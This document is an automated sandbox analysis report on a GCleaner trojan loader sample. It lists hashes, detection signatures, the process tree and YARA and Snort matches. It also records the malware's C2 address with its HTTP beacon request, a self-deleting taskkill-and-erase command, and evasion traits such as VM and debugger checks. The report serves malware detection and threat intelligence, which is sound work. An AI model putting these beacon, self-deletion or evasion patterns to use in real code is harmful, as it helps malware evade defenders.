Edit tour

Windows Analysis Report
97NT8DO3JB.exe

Overview

General Information

Sample name:	97NT8DO3JB.exe renamed because original name is a hash value
Original sample name:	3415aaebe725006cfa66320863c1bb8a.exe
Analysis ID:	1428958
MD5:	3415aaebe725006cfa66320863c1bb8a
SHA1:	37cb513d1f01f9ec819b62ca8ff1b591ae4c8669
SHA256:	ee36bc6d088eefecf233a4592027abfe4934fdd240afd39dc654da60e49b710c
Tags:	32exeGCleanertrojan
Infos:

Detection

GCleaner

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Yara detected GCleaner

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara signature match

Classification

Process Tree

System is w10x64

97NT8DO3JB.exe (PID: 6640 cmdline: "C:\Users\user\Desktop\97NT8DO3JB.exe" MD5: 3415AAEBE725006CFA66320863C1BB8A)

WerFault.exe (PID: 6856 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 744 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3484 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 764 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7040 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 780 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3264 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 772 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6404 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 904 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6844 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 912 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7092 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 1376 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cmd.exe (PID: 2516 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /im "97NT8DO3JB.exe" /f & erase "C:\Users\user\Desktop\97NT8DO3JB.exe" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1720 cmdline: taskkill /im "97NT8DO3JB.exe" /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

WerFault.exe (PID: 7148 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 1336 MD5: C31336C1EFC2CCB44B4326EA793040F2)

SIHClient.exe (PID: 2516 cmdline: C:\Windows\System32\sihclient.exe /cv mYxTU7XVgUSOC2w2/zVglw.0.2 MD5: 8BE47315BF30475EEECE8E39599E9273)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
GCleaner		No Attribution	https://bazaar.abuse.ch/browse/signature/GCleaner/ https://github.com/VenzoV/MalwareAnalysisReports/blob/main/GCleaner/GCleaner%20Techincal%20Analysis%20with%20BinaryNinja.md https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145 https://n1ght-w0lf.github.io/malware%20analysis/gcleaner-loader/ https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/	https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner

Malware Configuration

Threatname: GCleaner

{"C2 addresses": ["185.172.128.90"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1835201448.0000000001B2F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7f8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1628676156.00000000036A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.97NT8DO3JB.exe.3670e67.1.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.2.97NT8DO3JB.exe.400000.0.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.2.97NT8DO3JB.exe.3670e67.1.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.3.97NT8DO3JB.exe.36a0000.0.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.3.97NT8DO3JB.exe.36a0000.0.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.2.97NT8DO3JB.exe.400000.0.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
Click to see the 1 entries

Snort Signatures

ETPRO TROJAN Win32/Unknown Loader Related Activity (GET) - Source IP: 192.168.2.4 - Destination IP: 185.172.128.90

Timestamp:	04/19/24-22:35:59.183264
SID:	2856233
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: GET /cpa/ping.php?substr=one&s=two HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache

Source: 97NT8DO3JB.exe, 00000000.00000002.1835234023.0000000001BCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.90/cpa/ping.php?substr=one&s=two
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1835201448.0000000001B2F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Windows\System32\SIHClient.exe	File created: C:\Windows\SoftwareDistribution\SLS\522D76A4-93E1-47F8-B8CE-07C937AD1A1E\TMP7B18.tmp
Source: C:\Windows\System32\SIHClient.exe	File created: C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP841D.tmp

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_00404710	0_2_00404710
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_00409860	0_2_00409860
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_00413C49	0_2_00413C49
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_00413464	0_2_00413464
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_00421D42	0_2_00421D42
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_03679AC7	0_2_03679AC7
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_03674977	0_2_03674977
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_036836CB	0_2_036836CB

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: String function: 00408A60 appears 38 times
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: String function: 03678CC7 appears 37 times

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 744

Source: 97NT8DO3JB.exe, 00000000.00000002.1836474732.0000000004231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 97NT8DO3JB.exe
Source: 97NT8DO3JB.exe, 00000000.00000002.1835008061.0000000001A11000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires0 vs 97NT8DO3JB.exe
Source: 97NT8DO3JB.exe	Binary or memory string: OriginalFilenameFires0 vs 97NT8DO3JB.exe

Source: 97NT8DO3JB.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1835201448.0000000001B2F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.evad.winEXE@15/39@0/1

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

Code function: 0_2_01B2F826 CreateToolhelp32Snapshot,Module32First,

0_2_01B2F826

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ping[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6640
Source: C:\Windows\System32\SIHClient.exe	Mutant created: {376155FF-95A0-46CA-8F57-ACB09EA70153}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\fb9ba7df-d701-4b8a-89ff-e9e5616fdab1

Jump to behavior

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Command line argument: `a}{	0_2_00404710
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Command line argument: `a}{	0_2_03674977
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Command line argument: (zB	0_2_03674977
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Command line argument: `yB	0_2_03674977

Source: 97NT8DO3JB.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "97NT8DO3JB.exe")

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\SIHClient.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\SIHClient.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\SIHClient.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\SIHClient.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: unknown	Process created: C:\Users\user\Desktop\97NT8DO3JB.exe "C:\Users\user\Desktop\97NT8DO3JB.exe"
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 744
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 764
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 780
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 772
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 904
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 912
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 1376
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "97NT8DO3JB.exe" /f & erase "C:\Users\user\Desktop\97NT8DO3JB.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "97NT8DO3JB.exe" /f
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6640 -s 1336
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\System32\SIHClient.exe C:\Windows\System32\sihclient.exe /cv mYxTU7XVgUSOC2w2/zVglw.0.2
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "97NT8DO3JB.exe" /f & erase "C:\Users\user\Desktop\97NT8DO3JB.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "97NT8DO3JB.exe" /f

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 97NT8DO3JB.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: XC:\zokel-ropif\jizomihikalo64\yedi_27-hudek\91-zeyisebihejari45\ku.pdb source: 97NT8DO3JB.exe
Source:	Binary string: C:\zokel-ropif\jizomihikalo64\yedi_27-hudek\91-zeyisebihejari45\ku.pdb source: 97NT8DO3JB.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

Unpacked PE file: 0.2.97NT8DO3JB.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

Unpacked PE file: 0.2.97NT8DO3JB.exe.400000.0.unpack

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_0041004A push es; ret	0_2_0041004B
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_0040857E push ecx; ret	0_2_00408591
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B32920 pushad ; ret	0_2_01B32924
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B3288A push eax; iretd	0_2_01B328C8
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B35307 push dword ptr [ebx]; iretd	0_2_01B3530A
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B31A1E push ecx; ret	0_2_01B31A1F
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B33DBF push ss; ret	0_2_01B33E5B
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B305A2 pushad ; retf	0_2_01B305B9
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B34591 push ecx; ret	0_2_01B3460A
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B33DD1 push ss; ret	0_2_01B33E5B
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B345C2 push ecx; ret	0_2_01B3460A
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B305CD push 6B2D8590h; ret	0_2_01B305DD
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B327AE pushad ; ret	0_2_01B32800
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B32FDD push ebp; retf	0_2_01B32FDE
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B31F2C push 5AE86760h; ret	0_2_01B31F32
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B33705 push FFFFFF8Bh; ret	0_2_01B33708
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B33E20 push ss; ret	0_2_01B33E5B
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B33E1E push ss; ret	0_2_01B33E5B
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B3460B push ecx; ret	0_2_01B3460A
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B33E5C push ss; ret	0_2_01B33E5B
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B33E48 push ss; ret	0_2_01B33E5B
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_0368420F push esp; retf	0_2_03684217
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_036802B1 push es; ret	0_2_036802B2
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_0368480D push esp; retf	0_2_0368480E
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_0368C705 push ss; retf	0_2_0368C709
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_036787E5 push ecx; ret	0_2_036787F8

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
